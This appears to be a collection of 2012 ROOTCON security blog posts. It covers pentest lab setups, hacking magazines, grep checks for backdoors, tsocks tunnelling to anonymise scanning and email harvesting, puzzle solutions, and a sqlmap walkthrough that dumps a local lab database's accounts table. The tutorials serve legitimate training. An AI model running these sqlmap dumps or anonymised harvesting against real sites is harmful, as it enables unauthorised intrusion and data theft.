ROOTCON Blog

What's a BackTrack Linux 5r2-PenTesting Edition Lab? What's with the edition thingy? Isn't BackTrack 5 a pentesting distro already? Why make a pentesting edition?

Maybe these are some of the questions you have in your mind after reading the title and because of that, I would like to give some few points about this edition.

BackTrack Linux 5r2-PenTesting Edition Lab is still the same BackTrack 5 r2 with the same pentesting tools pre-installed in the distribution and has KDE as its Desktop Environment although in backtrack-linux.org you can also choose if you want Gnome or KDE. The only difference is that it includes all of the hosts, network infrastructure, tools, and targets necessary to practice penetration testing for the CPLT or Certified PenTest Laboratory course which is brought to you by PenTest Laboratory and the guys behind PenTest Magazine. 

This edition is a modified version of NETinVM which has a predefined User-mode Linux (UML) based penetration testing targets. When started, this builds an entire network of machines within the VMware virtual machine. The BackTrack Linux distribution is used to provide the tools necessary for completing the lab scenarios. Thus, It is an an all-in-one penetration testing lab environment that pre-configured with:

- A master (base) host utilizing BackTrack Linux 5r2

- A DMZ network with two hosts (targets)

- An “internal” network with one host (target)

- A pre-configured firewall

This pentesting lab is available for free to non-CPLT course students which can be downloaded here. 

Here are some of targets you can attack or play with:

- 10.5.0.1

- 10.5.0.254
- 10.5.1.10

- 10.5.1.254

As a programming student, security researcher and a blogger; I always keep up to date about what is happening in cyber space by reading infosec articles and magazines. Magazines I usually read have niches or themes like Information Security, Cyber Warfare, Cyber Espionage, Penetration Testing and Hacking. And so here are 8 Hacking and Information Security Magazines that I like to share to all of you guys:

1. Hakin9 - Hakin9 Magazine is a payable magazine devoted to IT security and covers techniques of breaking into computer systems, defense and protection methods, tools and latest trends in IT Security. It has 4 different editions every month: Hakin9 – main issue, Hakin9 Extra – every issue is devoted to one topic only, Exploiting Software magazine – Partition Analysis, Stack Overflow and many more, and Mobile Security – hacking and securing of mobile systems and applications.

2. PenTest Magazine - PenTest Magzine is a payable magazine which focuses on Penetration Testing. It features articles by penetration testing specialists, enthusiasts, and experts in vulnerability assessment and management. The PenTest Magazine features 48 issues in a year – 4 issues in a month. Different title is published every week; PenTest Regular, Auditing & Standards PenTest, PenTest Market, and Web App Pentesting. Their team is also behind the Certified PenTest Laboratory Tester (CPLT) Certification.

3. ClubHack Magazine - ClubHack Magazine or CHmag is India's 1st Hacking Magazine and one of the media partners of ROOTCON. Their magazine is free to download and is divided into the following sections: Tech Gyan,  Legal Gyan, Tool Gyan, Mom's Guide, Matriux Vibhag, and Code Gyan. I also contributed one article to this magazine which is about Decoding ROT using the Echo and Tr Commands in your Linux Terminal. They are also the organizers of ClubHack Conference.

4. (IN)SECURE Magazine - (IN)SECURE Magazine is a free digital security publication discussing  information security topics by Help Net Security which has been a prime resource for information security news since 1998.. They also accept guest authors and has a lot of subscribers.

5. Phrack Magazine - Nothing beats the old school! Nobody messes with the Phrack Magazine which is an online ezine for hackers and by the hackers. Phrack was first released on November 17, 1985 which until now became the largest computer underground ezine. In fact, The Hacker’s Manifesto was also published in this online ezine on the 7th issue. Truly an old yet awesome archive which takes you to the old days of the hacker culture in the 80′s. The current issue is 68 and I thought it will end on issue number 63 but the good thing is it is still alive and kicking.



6. 2600: The Hacker Quarterly - 2600: The Hacker Quarterly is a publication that focuses in publishing information about subjects like phreaking, infosec, hacking, the computer underground, anarchist issues, and many more. 2600 has established the H.O.P.E. (Hackers On Planet Earth) conferences as well as monthly meetings in some countries.



7. Hacker5 - Hacker5 is a monthly magazine from India which provides you with some of the latest happenings in the Cyber world. Their team is composed of journalists and ethical hackers. Some of their magazines are free to download and some are payable. In their website, they also have a dedicated page for the hackers, security professionals and developers that they interviewed.



8. Hacker Monthly - Hacker Monthly is the print magazine edition of Hacker News which is a known social bookmarking news website and popular among programmers, SEO Specialists, Link Builders, developers, geeks and startup founders.Every month they select from the top voted articles that are bookmarked on Hacker News website and print them in magazine format but it is not for free anymore.

Pre-final tracks can be found here

Get to know our ub3r4w3s()me speakers here

We will be posting ROOTCON 6 schedule soon.

What are you waiting for? Register now (Early Registration closing on June 30, 2012) and witness the fun and educational event this coming September 7-8, 2012.

Hope to see you all at the CON.

Our 2 months run for the early registration will be closing this coming June 30, 2012. If you haven't registered yet, register now to get big discounts!!! 

Visit the registration page now!!!

ClubHack Magazine's May 2012 issue has just been released yesterday guys and thanks to the Chmag Team for giving us free monthly issues!

Topics:

0x01 - Steganography over converted channels (Tech Gyan)
0x02 - Kauntilya (Tool Gyan)
0x03 - Section 66C - Punishment for identity theft (Legal Gyan)
0x04 - HTTPS (Hyper Text Transfer Protocol Secure) (Mom's Gide)
0x05 - Don’t Get Injected – Fix Your Code (Code Gyan)

Download the new issue here.

About the Contributor:

ROOTCON is managed by like minded InfoSec professionals across the Philippines.  All rights reserved. Designated trademarks, brands and articles are the property of their respective owners.

Are you a gamer and at the same time a penetration testing enthusiast in web applications?

Well then, you might wanna try whacking out 'hackxor'! Hackxor is a web application hacking game where players must locate and exploit vulnerabilities to progress through the story wherein you play as a blackhat hacker  hired to track down another hacker by any means possible. It contains scripts that are vulnerable to Cross Site Scripting(XSS), Cross Site Request Forgery(CSRF), Structured Query Language Injection (SQLi), Remote Command Injection(RCE), and many more. It's also a web application running on Fedora 14. 

Download & install instructions

• 1. Download the full version of hackxor (700mb)
• 2. Install VMWare Player (This involves creating a free account with vmware)
• 3. Extract hackxor1.7z, run the image using VMware player.
• 4. Work out what the IP of hackxor is ((try 172.16.93.129)|| logging into the VM with username:root pass:hackxor and typing ifconfig)
• 5. Configure your hosts file (/etc/hosts on linux) to redirect the following domains to the IP of hackxor: wraithmail, wraithbox, cloaknet, GGHB, hub71, utrack.
• 6. Browse to http://wraithmail:8080 and login with username:algo password:smurf

Grep is a powerful command-line tool in Unix and Linux used for searching and probing data sets for lines that matches a regular expression. As a short history, this utility was coded by Ken Thompson on March 3, 1973 for Unix.

Here is a sample or common usage of the said tool for searching a text string pBot in my php file bot.php:

grep pbot bot.php

Alright let's proceed on the objective of this article which is to find common vulnerabilities, backdoor shells and other malicious files using the grep command. For this writeup I'm using grep version 2.9 so if you are using a an older version of GNU grep which is below 2.5.4,  some of the commands in this article may not work although grep. To determine the version of grep you can just type grep -V or grep --version in your terminal. For the other commands and arguments that can be appended to this command line kung fu, you can also type grep --help for more information.

Common Usage for Finding Vulnerabilities
The very reason why most web applications can be easily hacked or pawned because of insecure codes and functions that can be exploited. Take for example command injection or also known as remote code execution in terms of web exploitation, can be possible to a certain website accepts added strings of characters or arguments; the inputs are used as arguments for executing the command in the web server. And because most vulnerable web applications use the shell_exec function. We can use the grep command to search for the shell_exec in as our advantage in our /var/www directory to check for the possible PHP files that are vulnerable to RCE or command injection. Here is the command: 

grep -Rn "shell_exec *( " /var/www
In the image above, we can see that it displays the path of the vulnerable script and the line of the function.

Another example: the include, require, include_once and require_once functions which are common PHP functions in a vulnerable script that is possible for LFI or Local File Inclusion which is a kind of exploit or vulnerability that allows an attacker to inject directory traversal characters on a certain website. 

Again, we can use these functions for searching possible vulnerable scripts in our web server:
grep -Rn "include *(" /var/www
grep -Rn "require *(" /var/www
grep -Rn "include_once *(" /var/www
grep -Rn "require_once *(" /var/www
There are other PHP functions out there that can also be used for finding other web vulnerabilities. Just use Google for other functions :)

Grepping for Backdoor Shells and other Malicious Files

Backdoors are used by web defacers and hackers to maintain access on the web server which allows them to execute arbitrary commands, download files, edit files, and for back-connection. Most backdoor shells use the shell_exec function for command execution. And because most anti-viruses and rootkit scanners can detect backdoor shells, attackers use PHP encoders for evasion. But because functions like base64_decode and eval are used in this technique, they can't escape the wrath of grep. Here is a sample backdoor shell that has upload and system information functions only encoded using Carbylamine PHP Encoder:

<?php function KJnPCP($XZK)

India's 1st Hacking Magazine which is ClubHack or CHmag has just released their April 2012 Issue. CHmag happens to be our media partner and that CHMag is one of the hacking/infosec magazines I'm currently following because of the good contents from various authors  and for this issue I also contributed an article for the Mom's Guide. Here are the topics for this month's issue:

You can download the PDF File here or you could check out the archives for their previous issues in their official website.

About the Contributor:

ROOTCON is managed by like minded InfoSec professionals across the Philippines.  All rights reserved. Designated trademarks, brands and articles are the property of their respective owners.

With some of the applications that don't have proxy configurations or settings, how can we add anonymity to our information gathering, scanning, exploiting phases, etc. like nmapping, using theharvester to gather emails, and many more? It's bad leaving your footprints and logs right?

Well if we have tsocks application then it would be easier since it can send TCP connections automatically through a SOCKS server. If tsocks is not installed on your distro, you can just find it on the software repository. In my case, BackBox Linux has tsocks pre-installed. It can be used for TORifying or tunneling your applications that doesn't have proxy capabilities. Supposed I opened a certain SSH server then binded my localhost at 9191 TCP port, I need to configure /etc/tsocks.conf to:

local = 192.168.0.0/255.255.255.0

server = 127.0.0.1

server_type = 5

server_port = 9191

For TOR, you can just edit the server_port to 9050 because it opens a SOCKS local server at 9050 TCP port.

ssh -D 9191 user@hostname

After configuring tsocks, try to check if tsocks is working good by using the lynx web browser to connect to a website that tells you if you are tunneled or you could also tunnel to another ssh server and issue the command w/who. Be sure to put tsocks before the command. For example:

The IP of the SSH Server ;)

The image below is my original IP without using ssh tunneling:


See the difference ayt!

So if I want to launch theharvester (email harvester) anonymously, I need add tsocks before theharvester command:
tsocks theharvester -d rootcon.org -l 500 -b google


 Now you can run your pentesting tools with added anonymity :)

The ROOTCON Easter Egg Hunt is over, the hunt was pretty simple and straight forward, you just need to know some of the basic arsenal in your day to day hacking escapade.

The Solution:

Easter Egg #1 = The image show Master Yoda speaking the very familiar line "May the source be with you" followed by "A n00b you are". If you are a geek and into tech, you wouldn't miss watching Star Wars, the line "May the force be with you", was replaced with source, meaning it's giving you a hint that the first egg can be found on the source code of the page egg1.php

Easter Egg #2 = Easter Egg #2 has something to deal with braille, we gave the hint "3 blind mice", so you need to decode the braille dots into letters.

Easter Egg #3 = The ROOTCON Vault, this is pretty easy, you can de-crypt the vault using uudecode, or even Perl can unpack it. The first line of the vault says Begin blah blah, this should give you enough hint how it was being encrypted.

Easter Egg #4 = This Easter Egg is very simply, the picture of Cookie Monster says it all plus the text we placed. "Cookie" Monster. "No Cookie For You". The hint tells you that the next word is hidden under the site cookie. There are a lot of Add-ons, Plugins for browsers that will let you examine what is written off its cookie, Google Chrome has its native tool to do that "Developer Tools"

Easter Egg #5 = Again going back to the "image text" for hints, it says "Undress the ROOTCON Easter Bunny". The easter bunny is an image, to undress or to get information under an image you need to examine the EXIF attributes found on the image.

Only the first one to crack all the codes who will be entitle for the 50% discount offer for the ROOTCON 6 ticket.

Here are the top four winners (Click the image to enlarge)
(Note: We masked the Lastname of the winners to protect their identity)




I hope everyone enjoyed our little Easter Special.

ROOTCON

Here we go, ROOTCON Easter Egg Hunt.

Instructions (Read Carefully)
1. Search for each word contained on each egg
2. Gather all words found on each egg
3. Combine all words into one
4. Send your code to registration [at] rootcon d0t org
5. You are entitled for a 50% discount ;-)

Start cracking some eggs at http://easteregg.rootcon.org/

Remember: This is a race, so the promo code is valid for one use only 

GOOD LUCK!!! and HAPPY EASTER 

SQLmap is one of the most common used tools for web application penetration testing because it is open source and automates an sql injection attacks which also allows you to spawn a shell. It has full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase and SAP MaxDB DBMS/ Database Management System. It is also coded in python.

To check all the attributes and options for this tool type sqlmap -h on your terminal.

Suppose we have a vulnerable link after checking it, we append URL target with --dbs to check for the databases:

$ sqlmap -u 'http://127.0.0.1/mutillidae/index.php?page=user-info.php&username=admin&password=&user-info-php-submit-button=View+Account+Details' --dbs

After that we should be able to see the back-end DBMS, web server, and most importantly the databases.

Databases enumerated:

[*] dvwa
[*] information_schema
[*] mysql
[*] owasp10

Now let's check all the tables for the owasp10 database. This is the database for the Mutillidae Web Application.

$ sqlmap -u 'http://127.0.0.1/mutillidae/index.php?page=user-info.php&username=admin&password=&user-info-php-submit-button=View+Account+Details' -D owasp10 --tables

$ sqlmap -u 'http://127.0.0.1/mutillidae/index.php?page=user-info.php&username=admin&password=&user-info-php-submit-button=View+Account+Details' -D owasp10 -T accounts --dump

Well, that should be it! I hope you were able to understand how to use sqlmap to dump the tables of a certain database.

About the Contributor:

ROOTCON is managed by like minded InfoSec professionals across the Philippines.  All rights reserved. Designated trademarks, brands and articles are the property of their respective owners.